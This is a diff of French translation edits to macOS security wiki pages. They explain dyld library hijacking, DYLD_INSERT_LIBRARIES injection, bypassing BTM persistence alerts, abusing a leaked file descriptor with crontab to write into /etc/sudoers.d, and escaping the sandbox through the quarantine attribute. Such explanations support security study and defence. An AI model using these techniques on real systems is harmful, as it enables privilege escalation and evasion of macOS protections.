- **`LC_LOAD_DYLIB`** contient le chemin vers des bibliothèques spécifiques à charger. Ces chemins peuvent contenir **`@rpath`**, qui sera **remplacé** par les valeurs dans **`LC_RPATH`**. S'il y a plusieurs chemins dans **`LC_RPATH`**, chacun sera utilisé pour rechercher la bibliothèque à charger. Exemple :
|
||||
- Si **`LC_LOAD_DYLIB`** contient `@rpath/library.dylib` et **`LC_RPATH`** contient `/application/app.app/Contents/Framework/v1/` et `/application/app.app/Contents/Framework/v2/`. Les deux dossiers vont être utilisés pour charger `library.dylib`**.** Si la bibliothèque n'existe pas dans `[...]/v1/` et qu'un attaquant pouvait la placer là pour détourner le chargement de la bibliothèque dans `[...]/v2/` car l'ordre des chemins dans **`LC_LOAD_DYLIB`** est suivi.
|
||||
- **`LC_LOAD_DYLIB`** contient le chemin vers des bibliothèques spécifiques à charger. Ces chemins peuvent contenir **`@rpath`**, qui sera **remplacé** par les valeurs dans **`LC_RPATH`**. S'il y a plusieurs chemins dans **`LC_RPATH`**, tous seront utilisés pour rechercher la bibliothèque à charger. Exemple :
|
||||
- Si **`LC_LOAD_DYLIB`** contient `@rpath/library.dylib` et **`LC_RPATH`** contient `/application/app.app/Contents/Framework/v1/` et `/application/app.app/Contents/Framework/v2/`. Les deux dossiers seront utilisés pour charger `library.dylib`**.** Si la bibliothèque n'existe pas dans `[...]/v1/` et qu'un attaquant pouvait la placer là pour détourner le chargement de la bibliothèque dans `[...]/v2/` car l'ordre des chemins dans **`LC_LOAD_DYLIB`** est suivi.
|
||||
- **Trouvez des chemins rpath et des bibliothèques** dans les binaires avec : `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
||||
|
||||
> [!NOTE] > **`@executable_path`** : Est le **chemin** vers le répertoire contenant le **fichier exécutable principal**.
|
||||
@ -100,7 +100,7 @@ compatibility version 1.0.0
|
||||
> - Lorsqu'il est utilisé dans un exécutable, **`@loader_path`** est effectivement le **même** que **`@executable_path`**.
|
||||
> - Lorsqu'il est utilisé dans un **dylib**, **`@loader_path`** donne le **chemin** vers le **dylib**.
|
||||
|
||||
La façon d'**élever les privilèges** en abusant de cette fonctionnalité serait dans le cas rare où une **application** étant exécutée **par** **root** **cherche** une **bibliothèque dans un dossier où l'attaquant a des permissions d'écriture.**
|
||||
La façon d'**élever les privilèges** en abusant de cette fonctionnalité serait dans le cas rare où une **application** exécutée **par** **root** **cherche** une **bibliothèque dans un dossier où l'attaquant a des permissions d'écriture.**
|
||||
|
||||
> [!TIP]
|
||||
> Un bon **scanner** pour trouver des **bibliothèques manquantes** dans les applications est [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ou une [**version CLI**](https://github.com/pandazheng/DylibHijack).\
|
||||
@ -119,7 +119,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
|
||||
D'après **`man dlopen`** :
|
||||
|
||||
- Lorsque le chemin **ne contient pas de caractère slash** (c'est-à-dire que c'est juste un nom de feuille), **dlopen() fera une recherche**. Si **`$DYLD_LIBRARY_PATH`** a été défini au lancement, dyld regardera d'abord dans ce répertoire. Ensuite, si le fichier macho appelant ou l'exécutable principal spécifient un **`LC_RPATH`**, alors dyld **regardera dans ces** répertoires. Ensuite, si le processus est **non restreint**, dyld recherchera dans le **répertoire de travail actuel**. Enfin, pour les anciens binaires, dyld essaiera quelques solutions de secours. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** a été défini au lancement, dyld recherchera dans **ces répertoires**, sinon, dyld regardera dans **`/usr/local/lib/`** (si le processus est non restreint), puis dans **`/usr/lib/`** (cette info a été prise de **`man dlopen`**).
|
||||
- Lorsque le chemin **ne contient pas de caractère slash** (c'est-à-dire que c'est juste un nom de feuille), **dlopen() fera une recherche**. Si **`$DYLD_LIBRARY_PATH`** a été défini au lancement, dyld regardera d'abord **dans ce répertoire**. Ensuite, si le fichier macho appelant ou l'exécutable principal spécifient un **`LC_RPATH`**, alors dyld regardera **dans ces** répertoires. Ensuite, si le processus est **non restreint**, dyld recherchera dans le **répertoire de travail actuel**. Enfin, pour les anciens binaires, dyld essaiera quelques solutions de secours. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** a été défini au lancement, dyld recherchera dans **ces répertoires**, sinon, dyld regardera dans **`/usr/local/lib/`** (si le processus est non restreint), puis dans **`/usr/lib/`** (cette info a été prise de **`man dlopen`**).
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. `LC_RPATH`
|
||||
3. `CWD`(si non restreint)
|
||||
@ -130,7 +130,7 @@ D'après **`man dlopen`** :
|
||||
> [!CAUTION]
|
||||
> S'il n'y a pas de slash dans le nom, il y aurait 2 façons de faire un détournement :
|
||||
>
|
||||
> - Si un **`LC_RPATH`** est **écrivable** (mais la signature est vérifiée, donc pour cela, vous avez également besoin que le binaire soit non restreint)
|
||||
> - Si un **`LC_RPATH`** est **écrivable** (mais la signature est vérifiée, donc pour cela, vous devez également que le binaire soit non restreint)
|
||||
> - Si le binaire est **non restreint** et qu'il est alors possible de charger quelque chose depuis le CWD (ou d'abuser de l'une des variables d'environnement mentionnées)
|
||||
|
||||
- Lorsque le chemin **ressemble à un chemin de framework** (par exemple, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** a été défini au lancement, dyld regardera d'abord dans ce répertoire pour le **chemin partiel du framework** (par exemple, `foo.framework/foo`). Ensuite, dyld essaiera le **chemin fourni tel quel** (en utilisant le répertoire de travail actuel pour les chemins relatifs). Enfin, pour les anciens binaires, dyld essaiera quelques solutions de secours. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** a été défini au lancement, dyld recherchera dans ces répertoires. Sinon, il recherchera **`/Library/Frameworks`** (sur macOS si le processus est non restreint), puis **`/System/Library/Frameworks`**.
|
||||
@ -143,7 +143,7 @@ D'après **`man dlopen`** :
|
||||
> [!CAUTION]
|
||||
> Si un chemin de framework, la façon de le détourner serait :
|
||||
>
|
||||
> - Si le processus est **non restreint**, en abusant du **chemin relatif depuis CWD** les variables d'environnement mentionnées (même si ce n'est pas dit dans la documentation si le processus est restreint, les variables d'environnement DYLD\_\* sont supprimées)
|
||||
> - Si le processus est **non restreint**, en abusant du **chemin relatif depuis CWD** les variables d'environnement mentionnées (même si cela n'est pas dit dans la documentation si le processus est restreint, les variables d'environnement DYLD\_\* sont supprimées)
|
||||
|
||||
- Lorsque le chemin **contient un slash mais n'est pas un chemin de framework** (c'est-à-dire un chemin complet ou un chemin partiel vers un dylib), dlopen() regarde d'abord (si défini) dans **`$DYLD_LIBRARY_PATH`** (avec la partie feuille du chemin). Ensuite, dyld **essaie le chemin fourni** (en utilisant le répertoire de travail actuel pour les chemins relatifs (mais seulement pour les processus non restreints)). Enfin, pour les anciens binaires, dyld essaiera des solutions de secours. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** a été défini au lancement, dyld recherchera dans ces répertoires, sinon, dyld regardera dans **`/usr/local/lib/`** (si le processus est non restreint), puis dans **`/usr/lib/`**.
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
@ -225,7 +225,7 @@ Dans le fichier `dyld-dyld-832.7.1/src/dyld2.cpp`, il est possible de trouver la
|
||||
|
||||
Elle mettra également à **null** spécifiquement les variables d'environnement **`DYLD_FALLBACK_FRAMEWORK_PATH`** et **`DYLD_FALLBACK_LIBRARY_PATH`** pour les binaires **suid** et **sgid**.
|
||||
|
||||
Cette fonction est appelée depuis la fonction **`_main`** du même fichier si l'on cible OSX comme ceci :
|
||||
Cette fonction est appelée depuis la fonction **`_main`** du même fichier si elle cible OSX comme ceci :
|
||||
```cpp
|
||||
#if TARGET_OS_OSX
|
||||
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
||||
@ -307,7 +307,7 @@ codesign -f -s <cert-name> --option=restrict hello-signed
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez que même s'il existe des binaires signés avec les drapeaux **`0x0(none)`**, ils peuvent obtenir dynamiquement le drapeau **`CS_RESTRICT`** lors de leur exécution et donc cette technique ne fonctionnera pas avec eux.
|
||||
> Notez que même s'il existe des binaires signés avec les drapeaux **`0x0(none)`**, ils peuvent obtenir le drapeau **`CS_RESTRICT`** dynamiquement lors de leur exécution et donc cette technique ne fonctionnera pas avec eux.
|
||||
>
|
||||
> Vous pouvez vérifier si un processus a ce drapeau avec (obtenez [**csops ici**](https://github.com/axelexic/CSOps)):
|
||||
>
|
||||
@ -315,7 +315,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
> csops -status <pid>
|
||||
> ```
|
||||
>
|
||||
> puis vérifiez si le drapeau 0x800 est activé.
|
||||
> puis vérifier si le drapeau 0x800 est activé.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -23,7 +23,7 @@ Dyld sera chargé par **`dyldboostrap::start`**, qui chargera également des él
|
||||
./
|
||||
{{#endref}}
|
||||
|
||||
Ensuite, il mappe le cache partagé dyld qui prélie tous les bibliothèques système importantes, puis il mappe les bibliothèques dont dépend le binaire et continue récursivement jusqu'à ce que toutes les bibliothèques nécessaires soient chargées. Par conséquent :
|
||||
Ensuite, il mappe le cache partagé dyld qui prélie tous les systèmes de bibliothèques importants, puis il mappe les bibliothèques dont dépend le binaire et continue récursivement jusqu'à ce que toutes les bibliothèques nécessaires soient chargées. Par conséquent :
|
||||
|
||||
1. il commence à charger les bibliothèques insérées avec `DYLD_INSERT_LIBRARIES` (si autorisé)
|
||||
2. Ensuite, celles mises en cache partagées
|
||||
@ -42,8 +42,8 @@ Quelques sections de stub dans le binaire :
|
||||
|
||||
- **`__TEXT.__[auth_]stubs`** : Pointeurs des sections `__DATA`
|
||||
- **`__TEXT.__stub_helper`** : Petit code invoquant le lien dynamique avec des informations sur la fonction à appeler
|
||||
- **`__DATA.__[auth_]got`** : Table des décalages globaux (adresses des fonctions importées, lorsqu'elles sont résolues, (liées pendant le temps de chargement car elles sont marquées avec le drapeau `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__nl_symbol_ptr`** : Pointeurs de symboles non paresseux (liés pendant le temps de chargement car ils sont marqués avec le drapeau `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__[auth_]got`** : Table des décalages globaux (adresses des fonctions importées, lorsqu'elles sont résolues, (liées pendant le temps de chargement car marquées avec le drapeau `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__nl_symbol_ptr`** : Pointeurs de symboles non paresseux (liés pendant le temps de chargement car marqués avec le drapeau `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__la_symbol_ptr`** : Pointeurs de symboles paresseux (liés lors du premier accès)
|
||||
|
||||
> [!WARNING]
|
||||
@ -103,7 +103,7 @@ Cette dernière fonction, après avoir trouvé l'adresse de la fonction recherch
|
||||
> [!TIP]
|
||||
> Cependant, notez que les versions actuelles de dyld chargent tout de manière non paresseuse.
|
||||
|
||||
#### Opcodes de Dyld
|
||||
#### Opérations opcodes de Dyld
|
||||
|
||||
Enfin, **`dyld_stub_binder`** doit trouver la fonction indiquée et l'écrire à la bonne adresse pour ne pas la rechercher à nouveau. Pour ce faire, il utilise des opcodes (une machine à états finis) au sein de dyld.
|
||||
|
||||
@ -264,7 +264,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
- `DYLD_PRINT_BINDINGS`: Imprimer les symboles lors de la liaison
|
||||
- `DYLD_WEAK_BINDINGS`: Imprimer uniquement les symboles faibles lors de la liaison
|
||||
- `DYLD_PRINT_CODE_SIGNATURES`: Imprimer les opérations d'enregistrement de signature de code
|
||||
- `DYLD_PRINT_DOFS`: Imprimer les sections de format d'objet D-Trace lors du chargement
|
||||
- `DYLD_PRINT_DOFS`: Imprimer les sections de format d'objet D-Trace telles que chargées
|
||||
- `DYLD_PRINT_ENV`: Imprimer l'environnement vu par dyld
|
||||
- `DYLD_PRINT_INTERPOSTING`: Imprimer les opérations d'interposition
|
||||
- `DYLD_PRINT_LIBRARIES`: Imprimer les bibliothèques chargées
|
||||
|
@ -38,7 +38,7 @@ macos-sandbox/
|
||||
macos-tcc/
|
||||
{{#endref}}
|
||||
|
||||
### Launch/Environment Constraints & Trust Cache
|
||||
### Contraintes de lancement/environnement et cache de confiance
|
||||
|
||||
Les contraintes de lancement dans macOS sont une fonctionnalité de sécurité pour **réguler l'initiation des processus** en définissant **qui peut lancer** un processus, **comment** et **d'où**. Introduites dans macOS Ventura, elles classifient les binaires système en catégories de contraintes au sein d'un **cache de confiance**. Chaque binaire exécutable a des **règles** définies pour son **lancement**, y compris des contraintes **auto**, **parent** et **responsable**. Étendues aux applications tierces en tant que **Contraintes d'Environnement** dans macOS Sonoma, ces fonctionnalités aident à atténuer les potentielles exploitations du système en régissant les conditions de lancement des processus.
|
||||
|
||||
@ -50,7 +50,7 @@ macos-launch-environment-constraints.md
|
||||
|
||||
L'Outil de suppression de logiciels malveillants (MRT) est une autre partie de l'infrastructure de sécurité de macOS. Comme son nom l'indique, la fonction principale de MRT est de **supprimer les logiciels malveillants connus des systèmes infectés**.
|
||||
|
||||
Une fois qu'un logiciel malveillant est détecté sur un Mac (soit par XProtect, soit par d'autres moyens), MRT peut être utilisé pour **supprimer automatiquement le logiciel malveillant**. MRT fonctionne silencieusement en arrière-plan et s'exécute généralement chaque fois que le système est mis à jour ou lorsqu'une nouvelle définition de logiciel malveillant est téléchargée (il semble que les règles que MRT doit suivre pour détecter les logiciels malveillants se trouvent à l'intérieur du binaire).
|
||||
Une fois qu'un logiciel malveillant est détecté sur un Mac (soit par XProtect, soit par d'autres moyens), MRT peut être utilisé pour **supprimer automatiquement le logiciel malveillant**. MRT fonctionne silencieusement en arrière-plan et s'exécute généralement chaque fois que le système est mis à jour ou lorsqu'une nouvelle définition de logiciel malveillant est téléchargée (il semble que les règles que MRT doit suivre pour détecter les logiciels malveillants se trouvent dans le binaire).
|
||||
|
||||
Bien que XProtect et MRT fassent tous deux partie des mesures de sécurité de macOS, ils remplissent des fonctions différentes :
|
||||
|
||||
@ -101,9 +101,9 @@ xattr -rc dumpBTM # Remove quarantine attr
|
||||
```
|
||||
Ces informations sont stockées dans **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** et le Terminal nécessite FDA.
|
||||
|
||||
### Manipulation avec BTM
|
||||
### Manipulation de BTM
|
||||
|
||||
Lorsqu'une nouvelle persistance est trouvée, un événement de type **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** est généré. Donc, toute méthode pour **prévenir** cet **événement** d'être envoyé ou pour empêcher **l'agent d'alerter** l'utilisateur aidera un attaquant à _**contourner**_ BTM.
|
||||
Lorsqu'une nouvelle persistance est trouvée, un événement de type **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** est généré. Ainsi, toute méthode pour **prévenir** cet **événement** d'être envoyé ou pour empêcher **l'agent d'alerter** l'utilisateur aidera un attaquant à _**contourner**_ BTM.
|
||||
|
||||
- **Réinitialisation de la base de données** : Exécuter la commande suivante réinitialisera la base de données (devrait la reconstruire depuis le début), cependant, pour une raison quelconque, après avoir exécuté cela, **aucune nouvelle persistance ne sera alertée jusqu'à ce que le système soit redémarré**.
|
||||
- **root** est requis.
|
||||
|
@ -10,7 +10,7 @@ Permissions dans un **répertoire** :
|
||||
- **écriture** - vous pouvez **supprimer/écrire** des **fichiers** dans le répertoire et vous pouvez **supprimer des dossiers vides**.
|
||||
- Mais vous **ne pouvez pas supprimer/modifier des dossiers non vides** à moins d'avoir des permissions d'écriture dessus.
|
||||
- Vous **ne pouvez pas modifier le nom d'un dossier** à moins de le posséder.
|
||||
- **exécution** - vous êtes **autorisé à traverser** le répertoire - si vous n'avez pas ce droit, vous ne pouvez pas accéder à des fichiers à l'intérieur, ni dans des sous-répertoires.
|
||||
- **exécution** - vous êtes **autorisé à traverser** le répertoire - si vous n'avez pas ce droit, vous ne pouvez accéder à aucun fichier à l'intérieur, ni dans aucun sous-répertoire.
|
||||
|
||||
### Combinaisons dangereuses
|
||||
|
||||
@ -18,7 +18,7 @@ Permissions dans un **répertoire** :
|
||||
|
||||
- Un parent **propriétaire de répertoire** dans le chemin est l'utilisateur
|
||||
- Un parent **propriétaire de répertoire** dans le chemin est un **groupe d'utilisateurs** avec **accès en écriture**
|
||||
- Un **groupe** d'utilisateurs a un accès **en écriture** au **fichier**
|
||||
- Un **groupe d'utilisateurs** a un accès **en écriture** au **fichier**
|
||||
|
||||
Avec l'une des combinaisons précédentes, un attaquant pourrait **injecter** un **lien sym/hard** vers le chemin attendu pour obtenir un écriture arbitraire privilégiée.
|
||||
|
||||
@ -60,7 +60,7 @@ Exemple :
|
||||
|
||||
### Fuite FD (pas de `O_CLOEXEC`)
|
||||
|
||||
Si un appel à `open` n'a pas le drapeau `O_CLOEXEC`, le descripteur de fichier sera hérité par le processus enfant. Donc, si un processus privilégié ouvre un fichier privilégié et exécute un processus contrôlé par l'attaquant, l'attaquant **héritera du FD sur le fichier privilégié**.
|
||||
Si un appel à `open` n'a pas le drapeau `O_CLOEXEC`, le descripteur de fichier sera hérité par le processus enfant. Donc, si un processus privilégié ouvre un fichier privilégié et exécute un processus contrôlé par l'attaquant, l'attaquant **héritera le FD sur le fichier privilégié**.
|
||||
|
||||
Si vous pouvez faire en sorte qu'un **processus ouvre un fichier ou un dossier avec des privilèges élevés**, vous pouvez abuser de **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, de sorte que `exploit.py` obtiendra le FD vers le fichier à l'intérieur de `/etc/sudoers` et l'abusera.
|
||||
|
||||
@ -148,14 +148,13 @@ ls -le test
|
||||
|
||||
Pas vraiment nécessaire mais je le laisse là juste au cas où :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-xattr-acls-extra-stuff.md
|
||||
{{#endref}}
|
||||
|
||||
## Contourner les vérifications de signature
|
||||
|
||||
### Contourner les vérifications des binaires de la plateforme
|
||||
### Contourner les vérifications des binaires de plateforme
|
||||
|
||||
Certaines vérifications de sécurité vérifient si le binaire est un **binaire de plateforme**, par exemple pour permettre de se connecter à un service XPC. Cependant, comme exposé dans un contournement sur https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, il est possible de contourner cette vérification en obtenant un binaire de plateforme (comme /bin/ls) et d'injecter l'exploit via dyld en utilisant une variable d'environnement `DYLD_INSERT_LIBRARIES`.
|
||||
|
||||
@ -327,7 +326,7 @@ echo $FILENAME
|
||||
```
|
||||
## Mémoire Partagée POSIX
|
||||
|
||||
**La mémoire partagée POSIX** permet aux processus dans des systèmes d'exploitation conformes à POSIX d'accéder à une zone de mémoire commune, facilitant une communication plus rapide par rapport à d'autres méthodes de communication inter-processus. Cela implique de créer ou d'ouvrir un objet de mémoire partagée avec `shm_open()`, de définir sa taille avec `ftruncate()`, et de le mapper dans l'espace d'adressage du processus en utilisant `mmap()`. Les processus peuvent ensuite lire et écrire directement dans cette zone de mémoire. Pour gérer l'accès concurrent et prévenir la corruption des données, des mécanismes de synchronisation tels que des mutex ou des sémaphores sont souvent utilisés. Enfin, les processus désassocient et ferment la mémoire partagée avec `munmap()` et `close()`, et éventuellement suppriment l'objet de mémoire avec `shm_unlink()`. Ce système est particulièrement efficace pour un IPC rapide et efficace dans des environnements où plusieurs processus doivent accéder rapidement à des données partagées.
|
||||
**La mémoire partagée POSIX** permet aux processus dans des systèmes d'exploitation conformes à POSIX d'accéder à une zone de mémoire commune, facilitant une communication plus rapide par rapport à d'autres méthodes de communication inter-processus. Cela implique de créer ou d'ouvrir un objet de mémoire partagée avec `shm_open()`, de définir sa taille avec `ftruncate()`, et de le mapper dans l'espace d'adresses du processus en utilisant `mmap()`. Les processus peuvent ensuite lire et écrire directement dans cette zone de mémoire. Pour gérer l'accès concurrent et prévenir la corruption des données, des mécanismes de synchronisation tels que des mutex ou des sémaphores sont souvent utilisés. Enfin, les processus désassocient et ferment la mémoire partagée avec `munmap()` et `close()`, et éventuellement suppriment l'objet de mémoire avec `shm_unlink()`. Ce système est particulièrement efficace pour un IPC rapide et efficace dans des environnements où plusieurs processus doivent accéder rapidement à des données partagées.
|
||||
|
||||
<details>
|
||||
|
||||
@ -429,7 +428,7 @@ Cette fonctionnalité est particulièrement utile pour prévenir certaines class
|
||||
|
||||
- `guarded_open_np`: Ouvre un FD avec une garde
|
||||
- `guarded_close_np`: Ferme-le
|
||||
- `change_fdguard_np`: Change les drapeaux de garde sur un descripteur (même en supprimant la protection de garde)
|
||||
- `change_fdguard_np`: Change les drapeaux de garde sur un descripteur (y compris la suppression de la protection de garde)
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
Le Sandbox macOS (appelé initialement Seatbelt) **limite les applications** s'exécutant à l'intérieur du sandbox aux **actions autorisées spécifiées dans le profil Sandbox** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**.
|
||||
Le macOS Sandbox (appelé initialement Seatbelt) **limite les applications** s'exécutant à l'intérieur du sandbox aux **actions autorisées spécifiées dans le profil Sandbox** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**.
|
||||
|
||||
Toute application avec l'**entitlement** **`com.apple.security.app-sandbox`** sera exécutée à l'intérieur du sandbox. Les **binaires Apple** sont généralement exécutés à l'intérieur d'un Sandbox, et toutes les applications de l'**App Store ont cet entitlement**. Ainsi, plusieurs applications seront exécutées à l'intérieur du sandbox.
|
||||
|
||||
@ -135,7 +135,7 @@ Ici, vous pouvez trouver un exemple :
|
||||
>
|
||||
> Notez que dans la version compilée d'un profil, le nom des opérations est remplacé par leurs entrées dans un tableau connu par le dylib et le kext, rendant la version compilée plus courte et plus difficile à lire.
|
||||
|
||||
Les **services système** importants s'exécutent également dans leur propre **sandbox** personnalisée, comme le service `mdnsresponder`. Vous pouvez consulter ces **profils de sandbox** personnalisés dans :
|
||||
Des **services système** importants s'exécutent également dans leur propre **sandbox** personnalisée, comme le service `mdnsresponder`. Vous pouvez consulter ces **profils de sandbox** personnalisés dans :
|
||||
|
||||
- **`/usr/share/sandbox`**
|
||||
- **`/System/Library/Sandbox/Profiles`**
|
||||
@ -222,12 +222,12 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
|
||||
```
|
||||
Dans `/tmp/trace.out`, vous pourrez voir chaque vérification de sandbox effectuée chaque fois qu'elle a été appelée (donc, beaucoup de doublons).
|
||||
|
||||
Il est également possible de tracer le sandbox en utilisant le paramètre **`-t`** : `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
|
||||
Il est également possible de tracer le sandbox en utilisant le **`-t`** paramètre : `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
|
||||
|
||||
#### Via API
|
||||
|
||||
La fonction `sandbox_set_trace_path` exportée par `libsystem_sandbox.dylib` permet de spécifier un nom de fichier de trace où les vérifications de sandbox seront écrites.\
|
||||
Il est également possible de faire quelque chose de similaire en appelant `sandbox_vtrace_enable()` et en obtenant ensuite les erreurs de journal à partir du tampon en appelant `sandbox_vtrace_report()`.
|
||||
Il est également possible de faire quelque chose de similaire en appelant `sandbox_vtrace_enable()` et en obtenant ensuite les erreurs de logs du tampon en appelant `sandbox_vtrace_report()`.
|
||||
|
||||
### Inspection du Sandbox
|
||||
|
||||
@ -275,7 +275,7 @@ macos-sandbox-debug-and-bypass/
|
||||
|
||||
## **Extensions Sandbox**
|
||||
|
||||
Les extensions permettent de donner des privilèges supplémentaires à un objet et sont accordées en appelant l'une des fonctions :
|
||||
Les extensions permettent de donner des privilèges supplémentaires à un objet et sont appelées en utilisant l'une des fonctions :
|
||||
|
||||
- `sandbox_issue_extension`
|
||||
- `sandbox_extension_issue_file[_with_new_type]`
|
||||
@ -287,8 +287,8 @@ Les extensions permettent de donner des privilèges supplémentaires à un objet
|
||||
|
||||
Les extensions sont stockées dans le deuxième emplacement d'étiquette MACF accessible depuis les informations d'identification du processus. Le **`sbtool`** suivant peut accéder à ces informations.
|
||||
|
||||
Notez que les extensions sont généralement accordées par des processus autorisés, par exemple, `tccd` accordera le jeton d'extension de `com.apple.tcc.kTCCServicePhotos` lorsqu'un processus essaie d'accéder aux photos et a été autorisé dans un message XPC. Ensuite, le processus devra consommer le jeton d'extension pour qu'il soit ajouté à celui-ci.\
|
||||
Notez que les jetons d'extension sont de longs hexadécimaux qui codent les autorisations accordées. Cependant, ils n'ont pas le PID autorisé codé en dur, ce qui signifie que tout processus ayant accès au jeton pourrait être **consommé par plusieurs processus**.
|
||||
Notez que les extensions sont généralement accordées par des processus autorisés, par exemple, `tccd` accordera le jeton d'extension de `com.apple.tcc.kTCCServicePhotos` lorsqu'un processus essaie d'accéder aux photos et a été autorisé dans un message XPC. Ensuite, le processus devra consommer le jeton d'extension pour qu'il soit ajouté.\
|
||||
Notez que les jetons d'extension sont de longs hexadécimaux qui codent les permissions accordées. Cependant, ils n'ont pas le PID autorisé codé en dur, ce qui signifie que tout processus ayant accès au jeton pourrait être **consommé par plusieurs processus**.
|
||||
|
||||
Notez que les extensions sont également très liées aux attributions, donc avoir certaines attributions pourrait automatiquement accorder certaines extensions.
|
||||
|
||||
@ -354,7 +354,7 @@ Notez qu'en iOS, l'extension du noyau contient **tous les profils codés en dur*
|
||||
|
||||
- **`hook_policy_init`** : Elle accroche `mpo_policy_init` et est appelée après `mac_policy_register`. Elle effectue la plupart des initialisations du Sandbox. Elle initialise également SIP.
|
||||
- **`hook_policy_initbsd`** : Elle configure l'interface sysctl en enregistrant `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` et `security.mac.sandbox.debug_mode` (si démarré avec `PE_i_can_has_debugger`).
|
||||
- **`hook_policy_syscall`** : Elle est appelée par `mac_syscall` avec "Sandbox" comme premier argument et un code indiquant l'opération dans le deuxième. Un switch est utilisé pour trouver le code à exécuter selon le code demandé.
|
||||
- **`hook_policy_syscall`** : Elle est appelée par `mac_syscall` avec "Sandbox" comme premier argument et un code indiquant l'opération dans le deuxième. Un switch est utilisé pour trouver le code à exécuter en fonction du code demandé.
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
@ -364,15 +364,15 @@ Un bon exemple de cela est la fonction **`_mpo_file_check_mmap`** qui accroche *
|
||||
|
||||
De plus, parmi les centaines de hooks utilisés par Sandbox, il y en a 3 en particulier qui sont très intéressants :
|
||||
|
||||
- `mpo_proc_check_for` : Elle applique le profil si nécessaire et s'il n'a pas été appliqué précédemment.
|
||||
- `mpo_proc_check_for` : Elle applique le profil si nécessaire et si elle n'a pas été appliquée précédemment.
|
||||
- `mpo_vnode_check_exec` : Appelée lorsqu'un processus charge le binaire associé, puis une vérification de profil est effectuée ainsi qu'une vérification interdisant les exécutions SUID/SGID.
|
||||
- `mpo_cred_label_update_execve` : Cela est appelé lorsque l'étiquette est assignée. C'est le plus long car il est appelé lorsque le binaire est entièrement chargé mais qu'il n'a pas encore été exécuté. Il effectuera des actions telles que la création de l'objet sandbox, l'attachement de la structure sandbox aux identifiants kauth, la suppression de l'accès aux ports mach...
|
||||
- `mpo_cred_label_update_execve` : Cela est appelé lorsque l'étiquette est assignée. C'est le plus long car il est appelé lorsque le binaire est entièrement chargé mais n'a pas encore été exécuté. Il effectuera des actions telles que la création de l'objet sandbox, l'attachement de la structure sandbox aux identifiants kauth, la suppression de l'accès aux ports mach...
|
||||
|
||||
Notez que **`_cred_sb_evalutate`** est un wrapper autour de **`sb_evaluate_internal`** et cette fonction obtient les identifiants passés et effectue ensuite l'évaluation en utilisant la fonction **`eval`** qui évalue généralement le **profil de plateforme** qui est par défaut appliqué à tous les processus et ensuite le **profil de processus spécifique**. Notez que le profil de plateforme est l'un des principaux composants de **SIP** dans macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
Sandbox dispose également d'un démon utilisateur en cours d'exécution exposant le service Mach XPC `com.apple.sandboxd` et liant le port spécial 14 (`HOST_SEATBELT_PORT`) que l'extension du noyau utilise pour communiquer avec lui. Il expose certaines fonctions en utilisant MIG.
|
||||
Sandbox dispose également d'un démon utilisateur en cours d'exécution exposant le service XPC Mach `com.apple.sandboxd` et liant le port spécial 14 (`HOST_SEATBELT_PORT`) que l'extension du noyau utilise pour communiquer avec lui. Il expose certaines fonctions en utilisant MIG.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -17,14 +17,14 @@ Enfin, le sandbox sera activé par un appel à **`__sandbox_ms`** qui appellera
|
||||
|
||||
### Contournement de l'attribut de quarantaine
|
||||
|
||||
**Les fichiers créés par des processus sandboxés** se voient ajouter l'**attribut de quarantaine** pour empêcher les échappées du sandbox. Cependant, si vous parvenez à **créer un dossier `.app` sans l'attribut de quarantaine** au sein d'une application sandboxée, vous pourriez faire pointer le binaire du bundle de l'application vers **`/bin/bash`** et ajouter certaines variables d'environnement dans le **plist** pour abuser de **`open`** afin de **lancer la nouvelle application sans sandbox**.
|
||||
**Les fichiers créés par des processus sandboxés** se voient ajouter l'**attribut de quarantaine** pour empêcher les échappements du sandbox. Cependant, si vous parvenez à **créer un dossier `.app` sans l'attribut de quarantaine** au sein d'une application sandboxée, vous pourriez faire pointer le binaire du bundle de l'application vers **`/bin/bash`** et ajouter certaines variables d'environnement dans le **plist** pour abuser de **`open`** afin de **lancer la nouvelle application sans sandbox**.
|
||||
|
||||
